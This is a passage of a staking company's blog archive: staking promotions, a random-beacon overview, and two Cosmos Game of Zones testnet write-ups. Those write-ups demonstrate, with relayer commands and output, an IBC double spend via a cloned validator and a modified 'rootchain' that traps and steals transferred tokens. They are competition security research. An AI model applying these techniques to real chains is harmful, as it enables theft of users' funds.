href="https://www.marlin.pro/blog/participating-in-marlin-flowmint-as-a-cosmos-delegator-and-validator/?ref=p2p.org">Participating in Marlin FlowMint as a Cosmos delegator</a></li><li><a href="https://www.marlin.pro/blog/participating-in-marlin-flowmint-as-a-near-delegator-and-validator/?ref=p2p.org">Participating in Marlin FlowMint as a Near Protocol delegator</a></li><li><a href="https://www.marlin.pro/blog/participating-in-marlin-flowmint-as-an-irisnet-delegator-and-validator/?ref=p2p.org">Participating in Marlin FlowMint as a Irisnet delegator</a></li></ul>Tokens will be distributed on the Matic sidechain due to the gas-intensiveness of the smart contracts. You'll have to transfer the tokens to Ethereum Mainnet to be able to interact with Marlin contracts.<h3 id="delegator-registration">Delegator Registration</h3>P2P delegators in Polkadot, Cosmos, Near Protocol and Irisnet are getting a unique opportunity to participate in the Marlin network and get POND tokens. Our team has launched Marlin gateway nodes and all of the validator addresses have been added to the whitelists for FlowMint stakedrop.Registration for ATOM, DOT and IRIS stakers will begin on December 15, 2020.Additional information:<ul><li>MPOND needs to be claimed separately for each chain.</li><li>If you delegate two different addresses for the same chain you need to register for stakedrop twice and use two different ETH addresses.</li><li>The same ETH address can be used for bonding in different chains.</li></ul><h3 id="pond-distribution">POND Distribution</h3>Marlin will begin with Polkadot, Cosmos, Irisnet, Near and Matic. That is, 0.027/5% tokens will be dedicated towards eligible delegators of ATOM, DOT, IRIS, MATIC and NEAR distributed daily pro-rata amongst each community based on the size of stake/delegation.Eventually FlowMint will support Tezos and other networks, allocating a portion of genesis tokens to eligible delegators of the given networks to be distributed pro-rata each day based on the size of the stake or delegation. We will inform you about the addition of new networks on our <a href="https://twitter.com/P2Pvalidator?ref=p2p.org">Twitter </a>and <a href="https://t.me/P2Pstaking?ref=p2p.org">Telegram</a> channels.<h3 id="about-p2p">About P2P</h3>P2P Validator is a world-leading staking provider with the best industry security practices and proven expertise. The service provides comprehensive due-diligence of digital assets and offers only top-notch staking opportunities. At the time of the latest update, more than 3 billion of USD value is staked with <a href="https://p2p.org/?utm_source=blog&utm_campaign=marlin_stakedrop">P2P Validator</a> by over 10,000 delegators across 25+ networks.We are constantly working on improvements to bring our customers the best proposals. Participating and supporting new blockchains and protocols brings benefits to all our stakers.<hr>Interested in earning POND? Contact p.pavlov@p2p.org for personal assistance.<hr>Web: <a href="https://p2p.org/?utm_source=blog&utm_campaign=marlin_stakedrop">p2p.org</a>Twitter: <a href="https://twitter.com/p2pvalidator?ref=p2p.org">@p2pvalidator</a>Telegram: <a href="https://t.me/P2Pstaking?ref=p2p.org">t.me/p2pvalidator</a>

Pavel Pavlov

from p2p validator

Cosmos Cosmos' Game of Zones Phase 3: Double Spend via a Double Sign

<h1 id="cosmos-game-of-zones-phase-3-double-spend-via-a-double-sign">Cosmos' Game of Zones Phase 3: Double Spend via a Double Sign</h1>We'll show how malicious validators (or validator keys thieves) can double-spend via IBC transfers using vanilla Tendermint, cosmos-sdk and relayer software.For an experiment we have two chains: <code>p2p-org-3</code> and <code>responsible-3</code>. On p2p-org-3 there are 1000, no more and no less, of very valuable tokens with <code>scarce</code> denom. Using our trick we can make <code>responsible-3</code> accept a total sum of <code>2000scarce</code> via a channel.<h2 id="double-spend-via-a-double-sign-step-by-step">Double spend via a double sign step by step</h2>To double spend we:<ol><li>Open a channel from p2p-org-3 to responsible-3</li><li>Stop a single validator of p2p-org-3, replicated it in two copies (let's call them <code>p2p-org-3.1</code> and <code>p2p-org-3.2</code>, though they still have an original chain-id of <code>p2p-org-3</code>) and start again in two different exemplars.</li></ol><pre><code>p2p-org-3.2$ rly q bal p2p-org-3 100000000000ptp,1000scarce p2p-org-3.2$ rly q bal responsible-3 100000000000root,996000rsp,10transfer/hvigvvmjhcqwerty/ptp </code></pre>3. Send 1000 scarce from <code>p2p-org-3.1</code>to <code>responsible-3</code>.<pre><code>p2p-org-3.1$ rly tx transfer p2p-org-3 responsible-3 1000scarce true $(rly ch addr responsible-3) I[2020-06-04|23:36:45.775] ✔ [p2p-org-3]@{68672} - msg(0:transfer) hash(13628DFA68099121C323DB7C2369489E1AFB71C2737B3D92B1BACAF5A9CFBB01) I[2020-06-04|23:36:56.725] ✔ [responsible-3]@{68908} - msg(0:update_client,1:ics04/opaque) hash(50F3730A339AE60A1FDB4FADF484EA8FDC870E9E46C8362BEE328D7D324FDDE8) p2p-org-3.1$ rly q bal p2p-org-3 99999999500ptp p2p-org-3.1$ rly q bal responsible-3 100000000000root,995500rsp,10transfer/hvigvvmjhcqwerty/ptp,1000transfer/hvigvvmjhcqwerty/scarce </code></pre>4. Switch to <code>p2p-org-3.2</code>'s terminal - there we still have <code>1000scarce</code><pre><code>p2p-org-3.2$ rly q bal p2p-org-3 100000000000ptp,1000scarce p2p-org-3.2$ rly q bal responsible-3 100000000000root,995500rsp,10transfer/hvigvvmjhcqwerty/ptp,1000transfer/hvigvvmjhcqwerty/scarce </code></pre>5. Send a bogus transfer (<code>100ptp</code>) from <code>p2p-org-3.2</code> to <code>responsible-3</code> - it fails on <code>responsible-3</code> but we bump <code>p2p-org-3.2</code>'s packet count by one to be able to send further transfers succesfully.<pre><code>p2p-org-3.2$ rly tx transfer p2p-org-3 responsible-3 100ptp true $(rly ch addr responsible-3) I[2020-06-04|23:39:07.369] ✔ [p2p-org-3]@{68700} - msg(0:transfer) hash(EB8CAE3CDE96FF9073B54B5E6F70C43B83DA13A30E06D833AA107CEB94EE6279) I[2020-06-04|23:39:14.274] ✘ [responsible-3]@{0} - msg(0:update_client,1:ics04/opaque) err(client:15:couldn't verify counterparty packet commitment: key mismatch on operation #0: expected commitments/ports/transfer/channels/hvigvvmjhcqwerty/packets/3 but got commitments/ports/transfer/channels/hvigvvmjhcqwerty/packets/2: packet commitment verification failed) </code></pre>6. Succesfully send 1000 scarce from <code>p2p-org-3.2</code>to <code>responsible-3</code>.<pre><code>p2p-org-3.2$ rly tx transfer p2p-org-3 responsible-3 1000scarce true $(rly ch addr responsible-3) I[2020-06-04|23:40:02.589] ✔ [p2p-org-3]@{68711} - msg(0:transfer) hash(83DFA4FB75D22220ECD94F134D8A8AE5BC0D0075D2DA6021B8DA6C4688E28787) I[2020-06-04|23:40:12.237] ✔ [responsible-3]@{68947} - msg(0:update_client,1:ics04/opaque) hash(DD11048F41B6D0955EAC84D311DEF5DAD9A3F446398A59293C82A62D84F6B506) p2p-org-3.2$ rly q bal p2p-org-3 99999998900ptp gaia@ibc3-p2p-validator-2:/home/deploy$ rly q bal responsible-3 100000000000root,995000rsp,10transfer/hvigvvmjhcqwerty/ptp,2000transfer/hvigvvmjhcqwerty/scarce </code></pre>We think that if there's ever a real attack with stolen keys or malicious validators involved, it'll be carried out with a combination of running a fork + using modified software that can issue arbitrary IBC packets (like our own RootChain).<hr>The best way to support our contribution is to <a href="https://p2p.org/cosmos?utm_source=blog&utm_medium=economy&utm_campaign=phase3_post">stake ATOM with P2P Validador</a>.<hr><a href="https://p2p.org/?utm_source=blog&utm_medium=economy&utm_campaign=phase3_post">P2P Validator</a> is a world-leading non-custodial staking provider securing more than $3 billion by over 10,000 delegators/nominators across 25+ high-class networks. We've been validating in Cosmos Hub since the first day of mainnet. P2P Validator provides comprehensive due-diligence and invested its own funds in ATOM in 2017 intending to support Cosmos network in the long term.Web:<a href="https://p2p.org/?utm_source=blog&utm_medium=economy&utm_campaign=phase3_post"> https://p2p.org</a>Stake ATOM with us: <a href="https://p2p.org/cosmos?utm_source=blog&utm_medium=economy&utm_campaign=phase3_post">p2p.org/cosmos</a>Twitter:<a href="https://twitter.com/p2pvalidator?ref=p2p.org"> @p2pvalidator</a>Telegram: <a href="https://t.me/P2Pstaking?ref=p2p.org">https://t.me/P2Pstaking</a>

Vasiliy Shapovalov

from p2p validator

Cosmos Cosmos' Game of Zones Phase 3: a Deceptive Rootchain that will trap your tokens

<h1 id="cosmos-game-of-zones-phase-3-a-deceptive-rootchain-that-will-trap-your-tokens">Cosmos' Game of Zones Phase 3: a Deceptive Rootchain that will trap your tokens</h1>For Phase 3 we prepared a specific deceptive zone whose purpose is to trap your transfers and let the zone ‘root’ users to claim them on the counterparty chains.<h2 id="evil-rootchain">Evil Rootchain</h2>For Phase 3 we prepared a specific deceptive zone whose purpose is to trap your transfers and let the zone ‘root’ users to claim them on the counterparty chains.That zone does not expose a vulnerability in IBC, neither it is something unexpected by people who made ICS: it’s merely an illustration of IBC threat model and how it can be used to steal user funds.We modified <code>createOutgoingPacket()</code> function to work like that:<ul><li>user who has at least some root denom tokens (i.e. 1000root on balance) can create any outgoing transfers they want, even if they don’t have the required funds;</li><li>user who has no root tokens cannot transfer any tokens back to a source chain.</li></ul>Here’s the <a href="https://gist.github.com/vshvsh/88964912dbd389332c53bc239fb59168?ref=p2p.org">gist</a> of how it’s done, and the <a href="https://github.com/p2p-org/gaia-rootchain?ref=p2p.org">full project</a>.So if someone was to transfer, say, doubloons to our deceptive chain, they couldn’t take it back - but any root user can redeem fake tokens for real tokens on an origin chain.That means that a regular user who sends funds to a deceptive chain can’t cash them out on an origin chain - they’ve basically lost they funds. But it’s not apparent, because internal transfers on the zone work fine, and until a user tries to redeem the transferred token they won’t see any problems.Moreover, malicious root token holder can redeem those tokens instead of an original sender or transferred token holders, and that wouldn’t be apparent too without aggregate analysis of all transfers across all channels.We deployed it on responsible-3 zone (heads up: responsible was an approved sockpuppet account of p2p all along; it didn’t compete in earlier phases where scarcity and/or account throughput were an issue).<h2 id="demonstration">Demonstration</h2>An unsuspecting user makes a transfer of 100 very valuable ptp tokens to responsible-3:<pre><code>>rly tx transfer p2p-org-3 responsible-3 100ptp true cosmos16zx4s8nculu94vhm07fd3qlg8g7grtj0xk49dg I[2020-06-03|18:21:59.489] ✔ [p2p-org-3]@{50776} - msg(0:transfer) hash(962733C0568867D6F4EA70417EB1E747FCC136396E3E020D5351DAD011ACBE6D) I[2020-06-03|18:22:09.218] ✔ [responsible-3]@{50793} - msg(0:update_client,1:ics04/opaque) hash(87D2802713DB702334AB843CAD488841E5A3E1A7C95DCB0DA0344E5039A77674) </code></pre>They now have transferred tokens in the wallet, but can they transfer them back?<pre><code>>rly q bal responsible-3 100transfer/fmqnwnlqii/ptp </code></pre><pre><code>>rly tx transfer responsible-3 p2p-org-3 100ptp false cosmos16zx4s8nculu94vhm07fd3qlg8g7grtj0xk49dg I[2020-06-03|18:56:09.666] ✘ [responsible-3]@{51200} - msg(0:transfer) err(sdk:4:failed to execute message; message index: 0: need to be root user to send ibc source=false transfers: unauthorized) Error: failed to send first transaction </code></pre>No, they can’t. Here comes a root user:<pre><code>>rly q bal responsible-3 100000000000root,975000rsp </code></pre>They don’t have any <code>100transfer/fmqnwnlqii/ptp</code> tokens, but they can redeem 100ptp on p2p-org-3 anyway:<pre><code>>rly tx transfer responsible-3 p2p-org-3 100ptp false cosmos1hazzkmrvxcrxvxv98daslkw0a7uax5djqgn20d I[2020-06-03|18:58:41.425] ✔ [responsible-3]@{51230} - msg(0:transfer) hash(24456218B05964F3B7B57EFD1F25E2CEEDA9BAAEBC957D0A6E315D801929E093) I[2020-06-03|18:58:49.540] ✔ [p2p-org-3]@{51217} - msg(0:update_client,1:ics04/opaque) hash(769158A9735DF93496F08F631E5D1AB04CCF081DFC132700E25C970D33DF74DB) </code></pre><pre><code>>rly q bal p2p-org-3 100ptp </code></pre><h2 id="conclusion">Conclusion</h2>The prolonged existence of actively malicious “rootchains” is not realistic - people wouldn’t use it for anything - but we expect people might deploy temporary ones for fishing or scamming purpose when IBC connections are permissionless and IBC-enabled wallets allow arbitrary chains to be added.More than that, any sufficiently complicated IBC-enabled blockchain can become a “rootchain” due to vulnerability, especially if we’re talking about complex smart contract chains and dynamic IBC like on Agoric or CosmWASM chains. Both trapping the funds on receiving chain forever or dishonest redeeming on source chain can be a result of an exploit on undertested code.We think that the community should build tools for total supply observability across chains and means to swiftly stop IBC transfers with malicious or vulnerable zones or applications via governance to prevent user fund loss.<hr>The best way to support our contribution is to <a href="https://p2p.org/cosmos?utm_source=blog&utm_medium=economy&utm_campaign=phase3_post">stake ATOM with P2P Validador</a>.<hr><a href="https://p2p.org/?utm_source=blog&utm_medium=economy&utm_campaign=phase3_post">P2P Validator</a> is a world-leading non-custodial staking provider securing more than $3 billion by over 10,000 delegators/nominators across 25+ high-class networks. We've been validating in Cosmos Hub since the first day of mainnet. P2P Validator provides comprehensive due-diligence and invested its own funds in ATOM in 2017 intending to support Cosmos network in the long term.Web:<a href="https://p2p.org/?utm_source=blog&utm_medium=economy&utm_campaign=phase3_post"> https://p2p.org</a>Stake ATOM with us: <a href="https://p2p.org/cosmos?utm_source=blog&utm_medium=economy&utm_campaign=phase3_post">p2p.org/cosmos</a>Twitter:<a href="https://twitter.com/p2pvalidator?ref=p2p.org"> @p2pvalidator</a>Telegram: <a href="https://t.me/P2Pstaking?ref=p2p.org">https://t.me/P2Pstaking</a>

Vasiliy Shapovalov

from p2p validator

Cosmos P2P Raises Fee at Cosmos While Continuing to Invest More Than Earnings

P2P Validator has been supporting Cosmos network from day one, providing high-quality validation services for ATOM delegators. Our developed products allow delegators to easily manage investments and receive a detailed report on their staking income.We invest in the development of Cosmos network and see the long-term prospects, however, the costs of maintaining the infrastructure and product development are several times higher than the revenues that the validator receives currently. We have decided to return to a commission of 8% in 21 days to remain flexible and provide more sustainable services.<h2 id="what-have-we-done">What have we done?</h2>For more than 5 months of hard work under a reduced fee, we did not stop the development activity in the Cosmos network. Here is a list of the most significant achievements that have been released for the Cosmos ecosystem:<a href="https://p2p.org/?utm_source=blog&utm_medium=economy&utm_campaign=cosmos_fee#dashboard-block">P2P Dashboard</a> for Cosmos users:<ul><li>Track and predict user rewards (more correctly than major explorers, check out our <a href="https://p2p.org/economy/lost-in-cosmos-explorers?utm_source=blog&utm_medium=economy&utm_campaign=cosmos_fee">article</a>)</li><li>Ledger delegation, redelegation, claim of rewards</li><li>Rewards report for all Cosmos Hubs (1,2,3)</li><li>CSV reward report</li></ul><ol><li><a href="https://p2p.org/economy/category/cosmos?utm_source=blog&utm_medium=economy&utm_campaign=cosmos_fee">9 articles</a> and users guides posted</li><li><a href="https://goz.p2p.org/?utm_source=blog&utm_medium=economy&utm_campaign=cosmos_fee">Visualization of IBC handshakes</a> for the Game of Zones</li><li><a href="https://github.com/p2p-org/relayer/blob/master/docs/commands.md?ref=p2p.org">Documentation</a> and <a href="https://dash-goz.p2p.org/public/dashboards/PxNuUZv6XxsUwETE4iWhLiVEUIOiFlD3GJhPig6P?org_slug=default&ref=p2p.org">dashboards</a> for Game of Zones</li><li><a href="https://defiapi.com/?ref=p2p.org">Affiliate API</a> for Cosmos wallet monetization</li><li>We financially <a href="https://p2p.org/economy/p2p-validator-acquired-corestar-development-team?utm_source=blog&utm_medium=economy&utm_campaign=cosmos_fee">supported Corestar team</a>, who developed Arcade, Tendermint hack with built-in <a href="https://p2p.org/economy/p2p-validator-helps-to-carry-out-random-beacon-for-Cosmos?utm_source=blog&utm_medium=economy&utm_campaign=cosmos_fee">BLS random beacon</a> built on ICF grant</li><li>Ongoing work on public rate-limited GraphQL API for Cosmos applications</li></ol>Product development inside the ecosystem is an essential element not only to support the Cosmos network, but also as a part of the long-term growth of the community and the network value.<h2 id="when-will-the-commission-be-increased">When will the commission be increased?</h2>We will increase the commission by 1% every day, starting from June 12. On June 18, our rate will remain at 8%. There is a lot of work ahead and we believe that joint efforts will accelerate the evolution of Cosmos network.We want to thank all our delegators for their continuous support and being with us! If you stake ATOM with P2P - you contribute to the Cosmos ecosystem.<h2 id="about-p2p-validator">About P2P Validator</h2><a href="https://p2p.org/?utm_source=blog&utm_medium=economy&utm_campaign=cosmos_fee">P2P Validator</a> is a world-leading non-custodial staking provider with the best industry practices and proven expertise. We provide comprehensive due-diligence of digital assets and offer only top-notch staking opportunities securing more than 3 billion of USD value. At the time of publishing, P2P Validator is trusted by over 10,000 delegators across 25+ networks.<hr>Want to stake with us? Alexey will be happy to help. Contact [email protected] to get personal assistance.<hr>P2P Validator provides secure non-custodial staking. Subscribe to our channels and stay tuned for updates and new blog posts.Stake ATOM with us: <a href="https://p2p.org/cosmos?utm_source=blog&utm_medium=economy&utm_campaign=cosmos_fee">https://p2p.org/cosmos</a>Web: <a href="https://p2p.org/?utm_source=blog&utm_medium=economy&utm_campaign=cosmos_fee">https://p2p.org</a>Twitter:<a href="https://twitter.com/p2pvalidator?ref=p2p.org"> @p2pvalidator</a>Telegram chat: <a href="https://t.me/P2Pstaking?ref=p2p.org">https://t.me/P2Pstaking</a>Telegram announcement: <a href="https://t.me/p2porg?ref=p2p.org">https://t.me/p2porg</a>

Pavel Pavlov

from p2p validator

Cosmos P2P Validator helps to carry out development of Random Beacon for Cosmos

P2P Validator’s team successfully carried out the development of BLS-based Random Beacon to provide Cosmos application-specific blockchains with an unbiased source of entropy. The code is<a href="https://github.com/corestario/tendermint?ref=p2p.org"> open-sourced</a> and available for further exploration by the community. This implementation of Random Beacon opens new possibilities for projects that require truly unpredictable randomness in their decentralized products.Our team will continue to develop features that can bring more users and add more value to the Cosmos ecosystem. If you want to support our initiatives the best way is to<a href="https://p2p.org/cosmos?utm_source=blog&utm_medium=economy&utm_campaign=cosmos_random_beacon"> stake ATOM with us</a>.<h3 id="high-level-overview">High level overview</h3>Random Beacon is a cryptographic primitive that periodically outputs random numbers which are publicly available and verifiable by any party. Random Beacon requires several important properties:<ul><li>Availability (or liveness) — an adversary cannot prevent a random number generation process.</li><li>Unpredictability — an adversary cannot predict the protocol outcome (a random value).</li><li>Bias-resistance — an adversary cannot influence future values to their advantage.</li><li>Public-Verifiability — anyone can verify the protocol’s outcome.</li></ul>In a decentralized environment the ability to generate provably random outputs is critical to protect applications from manipulations and get rid of centralized random number sources. It can also be helpful for data protection as random numbers are used in the generation of cryptographic keys, establishing connections, internal sequences and so on.Randomness can be useful for numerous blockchain applications:<ul><li>gaming, gambling and lotteries (e.g. PoolTogether)</li><li>cryptographic sortition in consensus for leader or quorum selection (e.g. DFINITY, Elrond, ThunderCore, Cardano)</li><li>cryptographic sortition for financial applications (e.g. tBTC-like collateralized bridges)</li><li>elections, sociology and statistics</li><li>advanced cryptography, mixnets and other protocols that require randomness to provide privacy or security</li></ul>Implementation of Tendermint with BLS-based random beacon - Arcade, provides each block with a random number that can be safely used during block processing without changing original Tendermint security assumptions.<h3 id="bls-based-random-beacon-in-tendermint">BLS-based Random Beacon in Tendermint</h3>We wanted our in-built pseudo random number generator (PRNG) to be suitable for applications like games and gambling: that means fast and unbiasable (many random beacons used for consensus are slightly biasable, what's fine for cryptographic sortition but is not suitable for a game like blackjack). Preferably it should be available at every block.<ol><li>Unbiasable</li><li>Small rounds (a few seconds at most)</li><li>Publicly verifiable</li><li>Small receipt (under 10kb)</li><li>Decentralizible</li><li>Safety and liveness similar to original Tendermint</li><li>Sybil resistant</li><li>Censorship resistant</li></ol>The most suitable random beacon to satisfy constraints is a BLS Threshold Signature-Based Beacon, proposed by the DFinity team. To build it we expanded a pre-commit step in the Tendermint consensus.<figure class="kg-card kg-image-card"><img src="https://p2p.org/economy/content/images/2020/09/kkYo5H6.png" class="kg-image" alt loading="lazy" width="782" height="502" srcset="https://p2p.org/economy/content/images/size/w600/2020/09/kkYo5H6.png 600w, https://p2p.org/economy/content/images/2020/09/kkYo5H6.png 782w" sizes="(min-width: 720px) 720px"></figure>The idea works by expanding a pre-commit step of Tendermint consensus: validators send not only pre-commit but also add partial BLS threshold signatures. This allows every new block to come out with a freshly generated random number.The outlined PRNG is available at every block and suitable for building randomness-dependent applications within the Cosmos ecosystem. We also built a Cosmos SDK adaptation that can interact with the random number in the block, and a reseeding module that is capable of bringing external randomness to deterministic BLS-based PRNG.BLS threshold signatures need a key generation step. We implemented an off-chain distributed key generation based on Pederson distributed key generation (DKG), and an on-chain fallback that provides the ability to both attest and slash in cases when off-chain DKG fails.<h3 id="about-p2p-validator">About P2P Validator</h3><a href="https://p2p.org/?ref=p2p.org">P2P Validator</a> is a world-leading non-custodial staking provider with the best industry practices and proven expertise. We provide comprehensive due-diligence of digital assets and offer only high-class staking opportunities securing more than 3 billion of USD value. At the time of the latest update, P2P Validator is trusted by over 10,000 delegators across 25+ networks.<hr>Want to stake with us? Alexey will be happy to help. Contact [email protected] to get personal assistance.<hr>P2P Validator provides secure non-custodial staking. Subscribe to our channels and stay tuned for updates and new blog posts.Stake ATOM with us: <a href="https://p2p.org/cosmos?utm_source=blog&utm_medium=economy&utm_campaign=cosmos_random_beacon">https://p2p.org/cosmos</a>Web: <a href="https://p2p.org/?ref=p2p.org">https://p2p.org</a>Twitter:<a href="https://twitter.com/p2pvalidator?ref=p2p.org"> @p2pvalidator</a>Telegram chat: <a href="https://t.me/P2Pstaking?ref=p2p.org">https://t.me/P2Pstaking</a>Telegram announcement: <a href="https://t.me/p2porg?ref=p2p.org">https://t.me/p2porg</a>

Alex Bondar

from p2p validator

Cosmos P2P Validator acquired Corestar development team

We are thrilled to announce that <a href="https://corestar.io/?ref=p2p.org">Corestar</a> team joined P2P Validator to create synergy in the development of decentralized ecosystems.Our team have always been looking for ways to add more value to the projects we believe in. Comprehensive contribution is an important part of our long term vision. All our thoughts are concentrated on actions facilitating the continuous progress of decentralized networks. <a href="https://p2p.org/cosmos?ref=p2p.org">By staking ATOM with us</a> you support our efforts to deliver meaningful results in the long run.P2P Validator provides non-custodial staking including valuable tools for delegators, community building, educational enlightenment and with acquisition of Corestar team we will add solid development activities to the scope of our capabilities.<h3 id="about-corestar">About Corestar</h3><a href="https://corestar.io/?ref=p2p.org">Corestar</a> is a team of dedicated professionals focused on research and development within the Cosmos ecosystem. A lot of effort was concentrated on NFT marketplace over IBC and Corestar got onto the list of <a href="https://blog.cosmos.network/cosmos-hackatom-berlin-recap-4722882e7623?ref=p2p.org">HackAtom Berlin</a> finalists with MVP that grew into the <a href="https://openmarket.one/?ref=p2p.org">Open Market</a> project.<figure class="kg-card kg-image-card"><img src="https://p2p.org/economy/content/images/2020/09/W3nw23I.png" class="kg-image" alt loading="lazy" width="1839" height="869" srcset="https://p2p.org/economy/content/images/size/w600/2020/09/W3nw23I.png 600w, https://p2p.org/economy/content/images/size/w1000/2020/09/W3nw23I.png 1000w, https://p2p.org/economy/content/images/size/w1600/2020/09/W3nw23I.png 1600w, https://p2p.org/economy/content/images/2020/09/W3nw23I.png 1839w" sizes="(min-width: 720px) 720px"></figure>In addition, Corestar received an ICF grant to develop <a href="https://github.com/corestario/tendermint?ref=p2p.org">Arcade</a> - Tendermint implementation with built-in random beacon. Arcade will provide application-specific blockchains in the Cosmos ecosystem with a decentralized source of entropy to power various applications like cryptography, games and gambling platforms without changing the security assumptions of Tendermint.We believe that the Corestar team will significantly strengthen our development department and benefit the Cosmos ecosystem.<h3 id="immediate-perspectives">Immediate perspectives</h3>IBC is currently the most important milestone in the success of Cosmos and the launch of incentivized testnet "<a href="https://goz.cosmosnetwork.dev/?ref=p2p.org">Game Of Zones</a>" is near at hand. As an active contributor, P2P Validator will take part in the competition with additional development resources, ready to deliver.We have prepared a <a href="https://goz.p2p.org/?ref=p2p.org">visualization</a> of handshakes between nodes to help participants monitor the current status of connections during the contest.<figure class="kg-card kg-image-card"><img src="https://p2p.org/economy/content/images/2020/09/HG5ZbBv.png" class="kg-image" alt loading="lazy" width="1893" height="851" srcset="https://p2p.org/economy/content/images/size/w600/2020/09/HG5ZbBv.png 600w, https://p2p.org/economy/content/images/size/w1000/2020/09/HG5ZbBv.png 1000w, https://p2p.org/economy/content/images/size/w1600/2020/09/HG5ZbBv.png 1600w, https://p2p.org/economy/content/images/2020/09/HG5ZbBv.png 1893w" sizes="(min-width: 720px) 720px"></figure>Proof-of-stake ecosystem is evolving really fast and we are fully prepared to facilitate that growth diving deep into the heart of decentralized technologies.<h3 id="about-p2p-validator">About P2P Validator</h3><a href="https://p2p.org/?ref=p2p.org">P2P Validator</a> is a world-leading non-custodial staking provider with the best industry practices and proven expertise. We provide comprehensive due-diligence of digital assets and offer only high-class staking opportunities securing more than 3 billion of USD value. At the time of the latest update, P2P Validator is trusted by over 10,000 delegators across 25+ networks.<hr>Want to stake with us? Alexey will be happy to help. Contact [email protected] to get personal assistance.<hr>P2P Validator provides secure non-custodial staking. Subscribe to our channels and stay tuned for updates and new blog posts.Web:<a href="https://p2p.org/?ref=p2p.org"> https://p2p.org</a>Twitter:<a href="https://twitter.com/p2pvalidator?ref=p2p.org"> @p2pvalidator</a>Telegram chat: <a href="https://t.me/P2Pstaking?ref=p2p.org">https://t.me/P2Pstaking</a>Telegram announcement: <a href="https://t.me/p2porg?ref=p2p.org">https://t.me/p2porg</a>

Alex Bondar

from p2p validator

Cosmos, Staking, Kava, Terra, Regen Lost in Cosmos explorers...

Existing Cosmos explorers show limited information. In some cases, reward withdrawal happens not only by initiating <code>withdraw</code> transaction and there are unobvious events, which cause that action. We have added these hidden events to P2P Dashboard, implemented full reward history across all Cosmos Hub versions and opened it for community. Below, I will walk through the topic in detail with examples.<h3 id="transparency-limit">Transparency limit</h3>Every transaction that is recorded in non-private blockchain can easily be retrieved for analytical or other purposes providing clarity for end users. With such transparency everyone can get a trusted record of any event since the start of the network. But is it really an easy task for someone without deep knowledge in code and various API endpoints to get all the data they need?You may argue that there are multiple explorers built for this purpose but each of them focuses on various goals and doesn’t give a complete picture of all events happening in a particular network. For an ordinary user like me, explorers act as a window in this magic world of blockchains and our understanding is limited by the events various tools decide to display.Blockchains are still new and complex to understand. The increasing number of projects with a different logic and various triggers is aggravating. Transparency matters especially for financial transfers and events that can be used for accounting purposes. For example, in Proof-Of-Stake blockchains it can be a withdrawal of accumulated rewards.A diversity of high-quality explorers is significant for building user commitment to the network and facilitating trust although more tools do not always result in better visibility. Some explorers focus more on usability, which is also very important but it still is not conductive to increasing transparency for users of the network.<h3 id="unobvious-events-in-tendermint-blockchains">Unobvious events in Tendermint blockchains</h3>Let's take a look at the reward withdrawal process in Cosmos Hub. Surplus accumulates in a validator pool and can be withdrawn to the corresponding staking address manually. Basically, a delegator withdraws rewards at any point of time to receive them on address. Explorers show this operation with names like GetReward or Withdraw Reward. In fact that's not the only action that triggers reward withdrawal.<h4 id="example-27-03-2020-">Example (27.03.2020)</h4>Let's take a random account and check the information about its balance on<a href="https://www.mintscan.io/account/cosmos1d5lu67hu3lhqtw6zyv7uy4gkfpdtfnzxw0wga8?ref=p2p.org"> Mintscan</a> block explorer.<figure class="kg-card kg-image-card"><img src="https://p2p.org/economy/content/images/2020/09/1-5.png" class="kg-image" alt loading="lazy" width="1784" height="547" srcset="https://p2p.org/economy/content/images/size/w600/2020/09/1-5.png 600w, https://p2p.org/economy/content/images/size/w1000/2020/09/1-5.png 1000w, https://p2p.org/economy/content/images/size/w1600/2020/09/1-5.png 1600w, https://p2p.org/economy/content/images/2020/09/1-5.png 1784w" sizes="(min-width: 720px) 720px"></figure><figure class="kg-card kg-image-card"><img src="https://p2p.org/economy/content/images/2020/09/2-8.png" class="kg-image" alt loading="lazy" width="1799" height="685" srcset="https://p2p.org/economy/content/images/size/w600/2020/09/2-8.png 600w, https://p2p.org/economy/content/images/size/w1000/2020/09/2-8.png 1000w, https://p2p.org/economy/content/images/size/w1600/2020/09/2-8.png 1600w, https://p2p.org/economy/content/images/2020/09/2-8.png 1799w" sizes="(min-width: 720px) 720px"></figure>If we calculate total balances using this transaction data we should get:<ul><li>Received: 484,7076 ATOM</li><li>Delegated: 474 ATOM</li><li>Tx Fees: 0,015 ATOM</li><li>Available: 10,692625 ATOM</li></ul>And here are values from<a href="https://www.mintscan.io/account/cosmos1d5lu67hu3lhqtw6zyv7uy4gkfpdtfnzxw0wga8?ref=p2p.org"> Mintscan</a>:<figure class="kg-card kg-image-card"><img src="https://p2p.org/economy/content/images/2020/09/3-7.png" class="kg-image" alt loading="lazy" width="1890" height="532" srcset="https://p2p.org/economy/content/images/size/w600/2020/09/3-7.png 600w, https://p2p.org/economy/content/images/size/w1000/2020/09/3-7.png 1000w, https://p2p.org/economy/content/images/size/w1600/2020/09/3-7.png 1600w, https://p2p.org/economy/content/images/2020/09/3-7.png 1890w" sizes="(min-width: 720px) 720px"></figure>It is also true for the same address on <a href="https://cosmos.bigdipper.live/account/cosmos1d5lu67hu3lhqtw6zyv7uy4gkfpdtfnzxw0wga8?ref=p2p.org">Forbole</a>:<figure class="kg-card kg-image-card"><img src="https://p2p.org/economy/content/images/2020/09/4-4.png" class="kg-image" alt loading="lazy" width="1889" height="570" srcset="https://p2p.org/economy/content/images/size/w600/2020/09/4-4.png 600w, https://p2p.org/economy/content/images/size/w1000/2020/09/4-4.png 1000w, https://p2p.org/economy/content/images/size/w1600/2020/09/4-4.png 1600w, https://p2p.org/economy/content/images/2020/09/4-4.png 1889w" sizes="(min-width: 720px) 720px"></figure>We see an additional 0,971002 ATOM on the available balance, but where did they come from if there was no withdraw transaction made by this account? Of course you may say it's even less than 1 ATOM who cares? But systems based on a code should not allow any mistake. So, is the displayed balance correct or wrong? Let's look into it.In fact, the balance is correct. There are hidden events that trigger reward withdrawal but are not displayed on most explorers. These tools serve another purpose and these events do not correspond much to the observation of what is happening in general. Nevertheless, these triggers are still crucial for generating full withdrawal history and bringing clarity for delegators.There are five core types of actions delegators usually perform:<ul><li>Delegate to a validator</li><li>Redelegate to another validator</li><li>Undelegate from a validator</li><li>Withdraw accumulated rewards</li><li>Send available tokens to another address</li></ul>The first four of them initiate reward withdrawal, which is usually not displayed for the first three actions by most explorers.On P2P Dashboard you can check reward withdrawals related to the same address.<figure class="kg-card kg-image-card"><img src="https://p2p.org/economy/content/images/2020/09/5-4.png" class="kg-image" alt loading="lazy" width="1895" height="482" srcset="https://p2p.org/economy/content/images/size/w600/2020/09/5-4.png 600w, 